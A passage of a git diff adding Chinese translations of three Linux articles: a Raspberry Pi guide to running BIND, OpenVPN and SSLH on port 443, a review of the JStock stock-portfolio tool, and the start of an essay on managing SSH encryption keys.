apt-get install bind9 +Reading package lists... Done +Building dependency tree +Reading state information... Done +The following extra packages will be installed: + bind9utils +Suggested packages: + bind9-doc resolvconf ufw +The following NEW packages will be installed: + bind9 bind9utils +0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. +Need to get 490 kB of archives. +After this operation, 1,128 kB of additional disk space will be used. +Do you want to continue [Y/n]? y +``` + +在我们把 BIND 作为缓存域名服务器之前,还有一些小细节需要配置。两个修改都在`/etc/bind/named.conf.options`里完成。首先你要取消注释掉 forwarders 这一节内容,同时你还要增加一个可以转发域名请求的目标服务器。作为例子我会用 Google 的 DNS 服务器(8.8.8.8)(LCTT 译注:国内的话需要找一个替代品);文件的 forwarders 节看上去大致是这样的: + + +``` +forwarders { + 8.8.8.8; +}; +``` + +第二点你需要做的更改是允许来自内网和本机的查询请求,直接把这一行加入配置文件的后面,记得放在最后一个`};`之前就可以了: + + +``` +allow-query { 192.168.1.0/24; 127.0.0.0/16; }; +``` + +上面那行配置会允许此 DNS 服务器接收来自其所在的网络(在本例中,我的网络就在我的防火墙之后)和本机的请求。下一步,你需要重启一下 BIND 的服务: + +``` +root@test:~# /etc/init.d/bind9 restart +[....] Stopping domain name service...: bind9waiting for pid 13209 to die +. ok +[ ok ] Starting domain name service...: bind9. +``` + +现在你可以测试一下 `nslookup` 来确保你的服务正常运行了: + + +``` +root@test:~# nslookup +> server localhost +Default server: localhost +Address: 127.0.0.1#53 +> www.google.com +Server: localhost +Address: 127.0.0.1#53 + +Non-authoritative answer: +Name: www.google.com +Address: 173.194.33.176 +Name: www.google.com +Address: 173.194.33.177 +Name: www.google.com +Address: 173.194.33.178 +Name: www.google.com +Address: 173.194.33.179 +Name: www.google.com +Address: 173.194.33.180 +``` + +完美!现在你的系统里已经有一个正常的域名服务在工作了,下一步我们来配置一下OpenVPN。 + + +### 安装并配置 OpenVPN + +OpenVPN 是一个运用 SSL/TLS 作为密钥交换的开源 VPN 解决方案。同时它也非常便于在 Linux 环境下部署。配置 OpenVPN 可能有一点点难,不过其实你也不需要在默认的配置文件里做太多修改。首先你需要运行一下 `apt-get` 来安装 OpenVPN: + + +``` +root@test:~# apt-get install openvpn +Reading package lists... Done +Building dependency tree +Reading state information... Done +The following extra packages will be installed: + liblzo2-2 libpkcs11-helper1 +Suggested packages: + resolvconf +The following NEW packages will be installed: + liblzo2-2 libpkcs11-helper1 openvpn +0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded. +Need to get 621 kB of archives. +After this operation, 1,489 kB of additional disk space will be used. +Do you want to continue [Y/n]? y +``` + +现在 OpenVPN 已经安装好了,你需要去配置它了。OpenVPN 是基于 SSL 的,并且它同时依赖于服务端和客户端两方的证书来工作。为了生成这些证书,你需要在机器上配置一个证书签发(CA)。幸运地,OpenVPN 在安装中自带了一些用于生成证书的脚本比如 “easy-rsa” 来帮助你加快这个过程。你将要创建一个文件目录用于放置 easy-rsa 脚本,从模板目录复制过来: + + +``` +root@test:~# mkdir /etc/openvpn/easy-rsa +root@test:~# cp -rpv /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/easy-rsa/ + ``` + +下一步,把 vars 文件复制一个备份: + + +``` +root@test:/etc/openvpn/easy-rsa# cp vars vars.bak +``` + +接下来,编辑一下 vars 以让其中的信息符合你的状态。我将以我需要编辑的信息作为例子: + +``` +KEY_SIZE=4096 +KEY_COUNTRY="US" +KEY_PROVINCE="CA" +KEY_CITY="Silicon Valley" +KEY_ORG="Linux Journal" +KEY_EMAIL="bill.childers@linuxjournal.com" +``` + +下一步是导入(source)一下 vars 中的环境变量,这样系统就能把其中的信息当作环境变量处理了: + + +``` +root@test:/etc/openvpn/easy-rsa# source ./vars +NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/easy-rsa/keys + ``` + +### 搭建 CA(证书签发) + +接下来你要运行一下 `clean-all` 来确保有一个清理干净的系统工作环境,紧接着你就要做证书签发了。注意一下我修改了一些 changeme 的所提示修改的内容以符合我需要的安装情况: + + +``` +root@test:/etc/openvpn/easy-rsa# ./clean-all +root@test:/etc/openvpn/easy-rsa# ./build-ca +Generating a 4096 bit RSA private key +...................................................++ +...................................................++ +writing new private key to 'ca.key' +----- +You are about to be asked to enter information that +will be incorporated into your certificate request. +What you are about to enter is what is called a +Distinguished Name or a DN. +There are quite a few fields but you can leave some +blank. For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Country Name (2 letter code) [US]: +State or Province Name (full name) [CA]: +Locality Name (eg, city) [Silicon Valley]: +Organization Name (eg, company) [Linux Journal]: +Organizational Unit Name (eg, section) [changeme]:SecTeam +Common Name (eg, your name or your server's hostname) [changeme]:test.linuxjournal.com +Name [changeme]:test.linuxjournal.com +Email Address [bill.childers@linuxjournal.com]: +``` + + +### 生成服务端证书 + +一旦 CA 创建好了,你接着就可以生成客户端的 OpenVPN 证书了: + + +``` +root@test:/etc/openvpn/easy-rsa# ./build-key-server test.linuxjournal.com +Generating a 4096 bit RSA private key +...................................................++ +writing new private key to 'test.linuxjournal.com.key' +----- +You are about to be asked to enter information that +will be incorporated into your certificate request. +What you are about to enter is what is called a +Distinguished Name or a DN. +There are quite a few fields but you can leave some +blank. For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Country Name (2 letter code) [US]: +State or Province Name (full name) [CA]: +Locality Name (eg, city) [Silicon Valley]: +Organization Name (eg, company) [Linux Journal]: +Organizational Unit Name (eg, section) [changeme]:SecTeam +Common Name (eg, your name or your server's hostname) [test.linuxjournal.com]: +Name [changeme]:test.linuxjournal.com +Email Address [bill.childers@linuxjournal.com]: + +Please enter the following 'extra' attributes +to be sent with your certificate request +A challenge password []: +An optional company name []: +Using configuration from /etc/openvpn/easy-rsa/openssl-1.0.0.cnf +Check that the request matches the signature +Signature ok +The Subject's Distinguished Name is as follows +countryName :PRINTABLE:'US' +stateOrProvinceName :PRINTABLE:'CA' +localityName :PRINTABLE:'Silicon Valley' +organizationName :PRINTABLE:'Linux Journal' +organizationalUnitName:PRINTABLE:'SecTeam' +commonName :PRINTABLE:'test.linuxjournal.com' +name :PRINTABLE:'test.linuxjournal.com' +emailAddress :IA5STRING:'bill.childers@linuxjournal.com' +Certificate is to be certified until Sep 1 06:23:59 2025 GMT (3650 days) +Sign the certificate? [y/n]:y + +1 out of 1 certificate requests certified, commit? [y/n]y +Write out database with 1 new entries +Data Base Updated +``` + +下一步需要用掉一些时间来生成 OpenVPN 服务器需要的 Diffie-Hellman 密钥。这个步骤在一般的桌面级 CPU 上会需要几分钟的时间,但在 ARM 构架的树莓派上,会用掉超级超级长的时间。耐心点,只要终端上的点还在跳,那么一切就在按部就班运行(下面的示例省略了不少的点): + + +``` +root@test:/etc/openvpn/easy-rsa# ./build-dh +Generating DH parameters, 4096 bit long safe prime, generator 2 +This is going to take a long time +....................................................+ + +``` + +### 生成客户端证书 + +现在你要生成一下客户端用于登录 OpenVPN 的密钥。通常来说 OpenVPN 都会被配置成使用证书验证的加密方式,在这个配置下客户端需要持有由服务端签发的一份证书: + +``` +root@test:/etc/openvpn/easy-rsa# ./build-key bills-computer +Generating a 4096 bit RSA private key +...................................................++ +...................................................++ +writing new private key to 'bills-computer.key' +----- +You are about to be asked to enter information that +will be incorporated into your certificate request. +What you are about to enter is what is called a +Distinguished Name or a DN. There are quite a few +fields but you can leave some blank. +For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Country Name (2 letter code) [US]: +State or Province Name (full name) [CA]: +Locality Name (eg, city) [Silicon Valley]: +Organization Name (eg, company) [Linux Journal]: +Organizational Unit Name (eg, section) [changeme]:SecTeam +Common Name (eg, your name or your server's hostname) [bills-computer]: +Name [changeme]:bills-computer +Email Address [bill.childers@linuxjournal.com]: + +Please enter the following 'extra' attributes +to be sent with your certificate request +A challenge password []: +An optional company name []: +Using configuration from /etc/openvpn/easy-rsa/openssl-1.0.0.cnf +Check that the request matches the signature +Signature ok +The Subject's Distinguished Name is as follows +countryName :PRINTABLE:'US' +stateOrProvinceName :PRINTABLE:'CA' +localityName :PRINTABLE:'Silicon Valley' +organizationName :PRINTABLE:'Linux Journal' +organizationalUnitName:PRINTABLE:'SecTeam' +commonName :PRINTABLE:'bills-computer' +name :PRINTABLE:'bills-computer' +emailAddress :IA5STRING:'bill.childers@linuxjournal.com' +Certificate is to be certified until Sep 1 07:35:07 2025 GMT (3650 days) +Sign the certificate? [y/n]:y + +1 out of 1 certificate requests certified, commit? [y/n]y +Write out database with 1 new entries +Data Base Updated +root@test:/etc/openvpn/easy-rsa# +``` + +现在你需要再生成一个 HMAC 码作为共享密钥来进一步增加整个加密提供的安全性: + + +``` +root@test:~# openvpn --genkey --secret /etc/openvpn/easy-rsa/keys/ta.key +``` + +### 配置服务器 + +最后,我们到了配置 OpenVPN 服务的时候了。你需要创建一个 `/etc/openvpn/server.conf` 文件;这个配置文件的大多数地方都可以套用模板解决。设置 OpenVPN 服务的主要修改在于让它只用 TCP 而不是 UDP 链接。这是下一步所必需的---如果不是 TCP 连接那么你的服务将不能工作在端口 443 上。创建 `/etc/openvpn/server.conf` 然后把下述配置丢进去: + + +``` +port 1194 +proto tcp +dev tun +ca easy-rsa/keys/ca.crt +cert easy-rsa/keys/test.linuxjournal.com.crt ## or whatever your hostname was +key easy-rsa/keys/test.linuxjournal.com.key ## Hostname key - This file should be kept secret +management localhost 7505 +dh easy-rsa/keys/dh4096.pem +tls-auth /etc/openvpn/certs/ta.key 0 +server 10.8.0.0 255.255.255.0 # The server will use this subnet for clients connecting to it +ifconfig-pool-persist ipp.txt +push "redirect-gateway def1 bypass-dhcp" # Forces clients to redirect all traffic through the VPN +push "dhcp-option DNS 192.168.1.1" # Tells the client to use the DNS server at 192.168.1.1 for DNS - replace with the IP address of the OpenVPN machine and clients will use the BIND server setup earlier +keepalive 30 240 +comp-lzo # Enable compression +persist-key +persist-tun +status openvpn-status.log +verb 3 +``` + +最后,你将需要在服务器上启用 IP 转发,配置 OpenVPN 为开机启动,并立刻启动 OpenVPN 服务: + + +``` +root@test:/etc/openvpn/easy-rsa/keys# echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf +root@test:/etc/openvpn/easy-rsa/keys# sysctl -p /etc/sysctl.conf +net.core.wmem_max = 12582912 +net.core.rmem_max = 12582912 +net.ipv4.tcp_rmem = 10240 87380 12582912 +net.ipv4.tcp_wmem = 10240 87380 12582912 +net.core.wmem_max = 12582912 +net.core.rmem_max = 12582912 +net.ipv4.tcp_rmem = 10240 87380 12582912 +net.ipv4.tcp_wmem = 10240 87380 12582912 +net.core.wmem_max = 12582912 +net.core.rmem_max = 12582912 +net.ipv4.tcp_rmem = 10240 87380 12582912 +net.ipv4.tcp_wmem = 10240 87380 12582912 +net.ipv4.ip_forward = 0 +net.ipv4.ip_forward = 1 + +root@test:/etc/openvpn/easy-rsa/keys# update-rc.d openvpn defaults +update-rc.d: using dependency based boot sequencing + +root@test:/etc/openvpn/easy-rsa/keys# /etc/init.d/openvpn start +[ ok ] Starting virtual private network daemon:. +``` + +### 配置 OpenVPN 客户端 + +客户端的安装取决于客户端的操作系统,但你需要将之前生成的证书和密钥复制到你的客户端上,并导入你的 OpenVPN 客户端并新建一个配置文件。每种操作系统下的 OpenVPN 客户端在操作上会有些稍许不同,这也不在这篇文章的覆盖范围内,所以你最好去看看特定操作系统下的 OpenVPN 文档来获取更多信息。请参考本文档里的资源那一节。 + +### 安装 SSLH —— "魔法"多协议切换工具 + +本文章介绍的解决方案最有趣的部分就是运用 SSLH 了。SSLH 是一个多重协议工具——它可以监听 443 端口的流量,然后分析他们是 SSH,HTTPS 还是 OpenVPN 的通讯包,并把它们分别转发给正确的系统服务。这就是为何本解决方案可以让你绕过大多数端口封杀——你可以一直使用 HTTPS 通讯,因为它几乎从来不会被封杀。 + +同样,直接 `apt-get` 安装: + + +``` +root@test:/etc/openvpn/easy-rsa/keys# apt-get install sslh +Reading package lists... Done +Building dependency tree +Reading state information... Done +The following extra packages will be installed: + apache2 apache2-mpm-worker apache2-utils apache2.2-bin apache2.2-common + libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap libconfig9 +Suggested packages: + apache2-doc apache2-suexec apache2-suexec-custom openbsd-inetd inet-superserver +The following NEW packages will be installed: + apache2 apache2-mpm-worker apache2-utils apache2.2-bin apache2.2-common + libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap libconfig9 sslh +0 upgraded, 11 newly installed, 0 to remove and 0 not upgraded. +Need to get 1,568 kB of archives. +After this operation, 5,822 kB of additional disk space will be used. +Do you want to continue [Y/n]? y +``` + +在 SSLH 被安装之后,包管理器会询问要在 inetd 还是 standalone 模式下允许。选择 standalone 模式,因为你希望 SSLH 在它自己的进程里运行。如果你没有安装 Apache,apt 包管理器会自动帮你下载并安装的,尽管它也不是完全不可或缺。如果你已经有 Apache 了,那你需要确保它只监听 localhost 端口而不是所有的端口(不然的话 SSLH 会无法运行,因为 443 端口已经被 Apache 监听占用)。安装后,你会看到一个如下所示的错误信息: + +``` +[....] Starting ssl/ssh multiplexer: sslhsslh disabled, please adjust the configuration to your needs +[FAIL] and then set RUN to 'yes' in /etc/default/sslh to enable it. ... failed! +failed! +``` + +这其实并不是错误信息,只是 SSLH 在提醒你它还未被配置所以无法启动,这很正常。配置 SSLH 相对来说比较简单。它的配置文件放置在 `/etc/default/sslh`,你只需要修改 `RUN` 和 `DAEMON_OPTS` 变量就可以了。我的 SSLH 配置文件如下所示: + +``` +# Default options for sslh initscript +# sourced by /etc/init.d/sslh + +# Disabled by default, to force yourself +# to read the configuration: +# - /usr/share/doc/sslh/README.Debian (quick start) +# - /usr/share/doc/sslh/README, at "Configuration" section +# - sslh(8) via "man sslh" for more configuration details. +# Once configuration ready, you *must* set RUN to yes here +# and try to start sslh (standalone mode only) + +RUN=yes + +# binary to use: forked (sslh) or single-thread (sslh-select) version +DAEMON=/usr/sbin/sslh + +DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --openvpn 127.0.0.1:1194 --pidfile /var/run/sslh/sslh.pid" + ``` + +保存编辑并启动 SSLH: + +``` + root@test:/etc/openvpn/easy-rsa/keys# /etc/init.d/sslh start +[ ok ] Starting ssl/ssh multiplexer: sslh. +``` + +现在你应该可以从 443 端口 ssh 到你的树莓派了,它会正确地使用 SSLH 转发: + +``` +$ ssh -p 443 root@test.linuxjournal.com +root@test:~# +``` + +SSLH 现在开始监听端口 443 并且可以转发流量信息到 SSH、Apache 或者 OpenVPN ,这取决于抵达流量包的类型。这套系统现已整装待发了! + +### 结论 + +现在你可以启动 OpenVPN 并且配置你的客户端连接到服务器的 443 端口了,然后 SSLH 会从那里把流量转发到服务器的 1194 端口。但鉴于你正在和服务器的 443 端口通信,你的 VPN 流量不会被封锁。现在你可以舒服地坐在陌生小镇的咖啡店里,畅通无阻地通过你的树莓派上的 OpenVPN 浏览互联网。你顺便还给你的链接增加了一些安全性,这个额外作用也会让你的链接更安全和私密一些。享受通过安全跳板浏览互联网把! + + +### 参考资源 + +- 安装与配置 OpenVPN: [https://wiki.debian.org/OpenVPN](https://wiki.debian.org/OpenVPN) 和 [http://cryptotap.com/articles/openvpn](http://cryptotap.com/articles/openvpn) +- OpenVPN 客户端下载: [https://openvpn.net/index.php/open-source/downloads.html](https://openvpn.net/index.php/open-source/downloads.html) +- OpenVPN iOS 客户端: [https://itunes.apple.com/us/app/openvpn-connect/id590379981?mt=8](https://itunes.apple.com/us/app/openvpn-connect/id590379981?mt=8) +- OpenVPN Android 客户端: [https://play.google.com/store/apps/details?id=net.openvpn.openvpn&hl=en](https://play.google.com/store/apps/details?id=net.openvpn.openvpn&hl=en) +- Tunnelblick for Mac OS X (OpenVPN 客户端): [https://tunnelblick.net](https://tunnelblick.net) +- SSLH 介绍: [http://www.rutschle.net/tech/sslh.shtml](http://www.rutschle.net/tech/sslh.shtml) 和 [https://github.com/yrutschle/sslh](https://github.com/yrutschle/sslh) + + +---------- +via: http://www.linuxjournal.com/content/securi-pi-using-raspberry-pi-secure-landing-point?page=0,0 + +作者:[Bill Childers][a] +译者:[Moelf](https://github.com/Moelf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linuxjournal.com/users/bill-childers diff --git a/published/201607/20160104 What is good stock portfolio management software on Linux.md b/published/201607/20160104 What is good stock portfolio management software on Linux.md new file mode 100644 index 0000000000..15c5091b6a --- /dev/null +++ b/published/201607/20160104 What is good stock portfolio management software on Linux.md @@ -0,0 +1,111 @@ +JStock:Linux 上不错的股票投资组合管理软件 +================================================================================ + +如果你在股票市场做投资,那么你可能非常清楚投资组合管理计划有多重要。管理投资组合的目标是依据你能承受的风险,时间层面的长短和资金盈利的目标去为你量身打造的一种投资计划。鉴于这类软件的重要性,因此从来不会缺乏商业性的 app 和股票行情检测软件,每一个都可以兜售复杂的投资组合以及跟踪报告功能。 + +对于我们这些 Linux 爱好者们,我也找到了一些**好用的开源投资组合管理工具**,用来在 Linux 上管理和跟踪股票的投资组合,这里高度推荐一个基于 java 编写的管理软件 [JStock][1]。如果你不是一个 java 粉,也许你会放弃它,JStock 需要运行在沉重的 JVM 环境上。但同时,在每一个安装了 JRE 的环境中它都可以马上运行起来,在你的 Linux 环境中它会运行的很顺畅。 + +“开源”就意味着免费或标准低下的时代已经过去了。鉴于 JStock 只是一个个人完成的产物,作为一个投资组合管理软件它最令人印象深刻的是包含了非常多实用的功能,以上所有的荣誉属于它的作者 Yan Cheng Cheok!例如,JStock 支持通过监视列表去监控价格,多种投资组合,自选/内置的股票指标与相关监测,支持27个不同的股票市场和跨平台的云端备份/还原。JStock 支持多平台部署(Linux, OS X, Android 和 Windows),你可以通过云端保存你的 JStock 投资组合,并通过云平台无缝的备份/还原到其他的不同平台上面。 + +现在我将向你展示如何安装以及使用过程的一些具体细节。 + +### 在 Linux 上安装 JStock ### + +因为 JStock 使用Java编写,所以必须[安装 JRE][2]才能让它运行起来。小提示,JStock 需要 JRE1.7 或更高版本。如你的 JRE 版本不能满足这个需求,JStock 将会运行失败然后出现下面的报错。 + + Exception in thread "main" java.lang.UnsupportedClassVersionError: org/yccheok/jstock/gui/JStock : Unsupported major.minor version 51.0 + + +在你的 Linux 上安装好了 JRE 之后,从其官网下载最新的发布的 JStock,然后加载启动它。 + + $ wget https://github.com/yccheok/jstock/releases/download/release_1-0-7-13/jstock-1.0.7.13-bin.zip + $ unzip jstock-1.0.7.13-bin.zip + $ cd jstock + $ chmod +x jstock.sh + $ ./jstock.sh + +教程的其他部分,让我来给大家展示一些 JStock 的实用功能 + +### 监视监控列表中股票价格的波动 ### + +使用 JStock 你可以创建一个或多个监视列表,它可以自动的监视股票价格的波动并给你提供相应的通知。在每一个监视列表里面你可以添加多个感兴趣的股票进去。之后在“Fall Below”和“Rise Above”的表格里添加你的警戒值,分别设定该股票的最低价格和最高价格。 + +![](https://c2.staticflickr.com/2/1588/23795349969_37f4b0f23c_c.jpg) + +例如你设置了 AAPL 股票的最低/最高价格分别是 $102 和 $115.50,只要在价格低于 $102 或高于 $115.50 时你就得到桌面通知。 + +你也可以设置邮件通知,这样你将收到一些价格信息的邮件通知。设置邮件通知在“Options”菜单里,在“Alert”标签中国,打开“Send message to email(s)”,填入你的 Gmail 账户。一旦完成 Gmail 认证步骤,JStock 就会开始发送邮件通知到你的 Gmail 账户(也可以设置其他的第三方邮件地址)。 + +![](https://c2.staticflickr.com/2/1644/24080560491_3aef056e8d_b.jpg) + +### 管理多个投资组合 ### + +JStock 允许你管理多个投资组合。这个功能对于你使用多个股票经纪人时是非常实用的。你可以为每个经纪人创建一个投资组合去管理你的“买入/卖出/红利”用来了解每一个经纪人的业务情况。你也可以在“Portfolio”菜单里面选择特定的投资组合来切换不同的组合项目。下面是一张截图用来展示一个假设的投资组合。 + +![](https://c2.staticflickr.com/2/1646/23536385433_df6c036c9a_c.jpg) + +你也可以设置付给中介费,你可以为每个买卖交易设置中介费、印花税以及结算费。如果你比较懒,你也可以在选项菜单里面启用自动费用计算,并提前为每一家经济事务所设置费用方案。当你为你的投资组合增加交易之后,JStock 将自动的计算并计入费用。 + +![](https://c2.staticflickr.com/2/1653/24055085262_0e315c3691_b.jpg) + +### 使用内置/自选股票指标来监控 ### + +如果你要做一些股票的技术分析,你可能需要基于各种不同的标准来监控股票(这里叫做“股票指标”)。对于股票的跟踪,JStock提供多个[预设的技术指示器][3] 去获得股票上涨/下跌/逆转指数的趋势。下面的列表里面是一些可用的指标。 + +- 平滑异同移动平均线(MACD) +- 相对强弱指标 (RSI) +- 资金流向指标 (MFI) +- 顺势指标 (CCI) +- 十字线 +- 黄金交叉线,死亡交叉线 +- 涨幅/跌幅 + +开启预设指示器能需要在 JStock 中点击“Stock Indicator Editor”标签。之后点击右侧面板中的安装按钮。选择“Install from JStock server”选项,之后安装你想要的指示器。 + +![](https://c2.staticflickr.com/2/1476/23867534660_b6a9c95a06_c.jpg) + +一旦安装了一个或多个指示器,你可以用他们来扫描股票。选择“Stock Indicator Scanner”标签,点击底部的“Scan”按钮,选择需要的指示器。 + +![](https://c2.staticflickr.com/2/1653/24137054996_e8fcd10393_c.jpg) + +当你选择完需要扫描的股票(例如, NYSE, NASDAQ)以后,JStock 将执行该扫描,并将该指示器捕获的结果通过列表展现。 + +![](https://c2.staticflickr.com/2/1446/23795349889_0f1aeef608_c.jpg) + +除了预设指示器以外,你也可以使用一个图形化的工具来定义自己的指示器。下面这张图例用于监控当前价格小于或等于60天平均价格的股票。 + +![](https://c2.staticflickr.com/2/1605/24080560431_3d26eac6b5_c.jpg) + +### 通过云在 Linux 和 Android JStock 之间备份/恢复### + +另一个非常棒的功能是 JStock 支持云备份恢复。Jstock 可以通过 Google Drive 把你的投资组合/监视列表在云上备份和恢复,这个功能可以实现在不同平台上无缝穿梭。如果你在两个不同的平台之间来回切换使用 Jstock,这种跨平台备份和还原非常有用。我在 Linux 桌面和 Android 手机上测试过我的 Jstock 投资组合,工作的非常漂亮。我在 Android 上将 Jstock 投资组合信息保存到 Google Drive 上,然后我可以在我的 Linux 版的 Jstock 上恢复它。如果能够自动同步到云上,而不用我手动地触发云备份/恢复就更好了,十分期望这个功能出现。 + +![](https://c2.staticflickr.com/2/1537/24163165565_bb47e04d6c_c.jpg) + +![](https://c2.staticflickr.com/2/1556/23536385333_9ed1a75d72_c.jpg) + +如果你在从 Google Drive 还原之后不能看到你的投资信息以及监视列表,请确认你的国家信息与“Country”菜单里面设置的保持一致。 + +JStock 的安卓免费版可以从 [Google Play Store][4] 获取到。如果你需要完整的功能(比如云备份,通知,图表等),你需要一次性支付费用升级到高级版。我认为高级版物有所值。 + +![](https://c2.staticflickr.com/2/1687/23867534720_18b917028c_c.jpg) + +写在最后,我应该说一下它的作者,Yan Cheng Cheok,他是一个十分活跃的开发者,有bug及时反馈给他。这一切都要感谢他!!! + +关于 JStock 这个投资组合跟踪软件你有什么想法呢? + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/stock-portfolio-management-software-Linux.html + +作者:[Dan Nanni][a] +译者:[ivo-wang](https://github.com/ivo-wang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://Linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://jstock.org/ +[2]:http://ask.xmodulo.com/install-java-runtime-Linux.html +[3]:http://jstock.org/ma_indicator.html +[4]:https://play.google.com/store/apps/details?id=org.yccheok.jstock.gui diff --git a/published/201607/20160218 How to Best Manage Encryption Keys on Linux.md b/published/201607/20160218 How to Best Manage Encryption Keys on Linux.md new file mode 100644 index 0000000000..fa0e559ff9 --- /dev/null +++ b/published/201607/20160218 How to Best Manage Encryption Keys on Linux.md @@ -0,0 +1,104 @@ +在 Linux 上管理加密密钥的最佳体验 +============================================= + +存储 SSH 的加密秘钥和记住密码一直是一个让人头疼的问题。但是不幸的是,在当前这个充满了恶意黑客和攻击的世界中,基本的安全预防是必不可少的。对于许多普通用户来说,大多数人只能是记住密码,也可能寻找到一个好程序去存储密码,正如我们提醒这些用户不要在每个网站采用相同的密码。但是对于在各个 IT 领域的人们,我们需要将这个事情提高一个层面。我们需要使用像 SSH 密钥这样的加密秘钥,而不只是密码。 + +设想一个场景:我有一个运行在云上的服务器,用作我的主 git 库。我有很多台工作电脑,所有这些电脑都需要登录到这个中央服务器去做 push 与 pull 操作。这里我设置 git 使用 SSH。当 git 使用 SSH 时,git 实际上是以 SSH 的方式登录到服务器,就好像你通过 SSH 命令打开一个服务器的命令行一样。为了把这些配置好,我在我的 .ssh 目录下创建一个配置文件,其中包含一个有服务器名字、主机名、登录用户、密钥文件路径等信息的主机项。之后我可以通过输入如下命令来测试这个配置是否正确。 + + ssh gitserver + +很快我就可以访问到服务器的 bash shell。现在我可以配置 git 使用相同配置项以及存储的密钥来登录服务器。这很简单,只是有一个问题:对于每一个我要用它登录服务器的电脑,我都需要有一个密钥文件,那意味着需要密钥文件会放在很多地方。我会在当前这台电脑上存储这些密钥文件,我的其他电脑也都需要存储这些。就像那些有特别多的密码的用户一样,我们这些 IT 人员也被这些特别多的密钥文件淹没。怎么办呢? + +### 清理 + +在我们开始帮助你管理密钥之前,你需要有一些密钥应该怎么使用的基础知识,以及明白我们下面的提问的意义所在。同时,有个前提,也是最重要的,你应该知道你的公钥和私钥该放在哪里。然后假设你应该知道: + +1. 公钥和私钥之间的差异; +2. 为什么你不可以从公钥生成私钥,但是反之则可以? +3. `authorized_keys` 文件的目的以及里面包含什么内容; +4. 如何使用私钥去登录一个你的对应公钥存储在其上的 `authorized_keys` 文件中的服务器。 + +![](http://www.linux.com/images/stories/41373/key-management-diagram.png) + +这里有一个例子。当你在亚马逊的网络服务上创建一个云服务器,你必须提供一个用于连接你的服务器的 SSH 密钥。每个密钥都有一个公开的部分(公钥)和私密的部分(私钥)。你要想让你的服务器安全,乍看之下你可能应该将你的私钥放到服务器上,同时你自己带着公钥。毕竟,你不想你的服务器被公开访问,对吗?但是实际上的做法正好是相反的。 + +你应该把自己的公钥放到 AWS 服务器,同时你持有用于登录服务器的私钥。你需要保护好私钥,并让它处于你的控制之中,而不是放在一些远程服务器上,正如上图中所示。 + +原因如下:如果公钥被其他人知道了,它们不能用于登录服务器,因为他们没有私钥。进一步说,如果有人成功攻入你的服务器,他们所能找到的只是公钥,他们不可以从公钥生成私钥。同时,如果你在其他的服务器上使用了相同的公钥,他们不可以使用它去登录别的电脑。 + +这就是为什么你要把你自己的公钥放到你的服务器上以便通过 SSH 登录这些服务器。你持有这些私钥,不要让这些私钥脱离你的控制。 + +但是还有一点麻烦。试想一下我 git 服务器的例子。我需要做一些抉择。有时我登录架设在别的地方的开发服务器,而在开发服务器上,我需要连接我的 git 服务器。如何使我的开发服务器连接 git 服务器?显然是通过使用私钥,但这样就会有问题。在该场景中,需要我把私钥放置到一个架设在别的地方的服务器上,这相当危险。 + +一个进一步的场景:如果我要使用一个密钥去登录许多的服务器,怎么办?如果一个入侵者得到这个私钥,这个人就能用这个私钥得到整个服务器网络的权限,这可能带来一些严重的破坏,这非常糟糕。 + +同时,这也带来了另外一个问题,我真的应该在这些其他服务器上使用相同的密钥吗?因为我刚才描述的,那会非常危险的。 + +最后,这听起来有些混乱,但是确实有一些简单的解决方案。让我们有条理地组织一下。 + +(注意,除了登录服务器,还有很多地方需要私钥密钥,但是我提出的这个场景可以向你展示当你使用密钥时你所面对的问题。) + +### 常规口令 + +当你创建你的密钥时,你可以选择是否包含一个密钥使用时的口令。有了这个口令,私钥文件本身就会被口令所加密。例如,如果你有一个公钥存储在服务器上,同时你使用私钥去登录服务器的时候,你会被提示输入该口令。没有口令,这个密钥是无法使用的。或者你也可以配置你的密钥不需要口令,然后只需要密钥文件就可以登录服务器了。 + +一般来说,不使用口令对于用户来说是更方便的,但是在很多情况下我强烈建议使用口令,原因是,如果私钥文件被偷了,偷密钥的人仍然不可以使用它,除非他或者她可以找到口令。在理论上,这个将节省你很多时间,因为你可以在攻击者发现口令之前,从服务器上删除公钥文件,从而保护你的系统。当然还有一些使用口令的其它原因,但是在很多场合这个原因对我来说更有价值。(举一个例子,我的 Android 平板上有 VNC 软件。平板上有我的密钥。如果我的平板被偷了之后,我会马上从服务器上删除公钥,使得它的私钥没有作用,无论有没有口令。)但是在一些情况下我不使用口令,是因为我正在登录的服务器上没有什么有价值的数据,这取决于情境。 + +### 服务器基础设施 + +你如何设计自己服务器的基础设施将会影响到你如何管理你的密钥。例如,如果你有很多用户登录,你将需要决定每个用户是否需要一个单独的密钥。(一般来说,应该如此;你不会想在用户之间共享私钥。那样当一个用户离开组织或者失去信任时,你可以删除那个用户的公钥,而不需要必须给其他人生成新的密钥。相似地,通过共享密钥,他们能以其他人的身份登录,这就更糟糕了。)但是另外一个问题是你如何配置你的服务器。举例来说,你是否使用像 Puppet 这样工具配置大量的服务器?你是否基于你自己的镜像创建大量的服务器?当你复制你的服务器,是否每一个的密钥都一样?不同的云服务器软件允许你配置如何选择;你可以让这些服务器使用相同的密钥,也可以给每一个服务器生成一个新的密钥。 + +如果你在操作这些复制的服务器,如果用户需要使用不同的密钥登录两个不同但是大部分都一样的系统,它可能导致混淆。但是另一方面,服务器共享相同的密钥会有安全风险。或者,第三,如果你的密钥有除了登录之外的需要(比如挂载加密的驱动),那么你会在很多地方需要相同的密钥。正如你所看到的,你是否需要在不同的服务器上使用相同的密钥不是我能为你做的决定;这其中有权衡,你需要自己去决定什么是最好的。 + +最终,你可能会有: + +- 需要登录的多个服务器 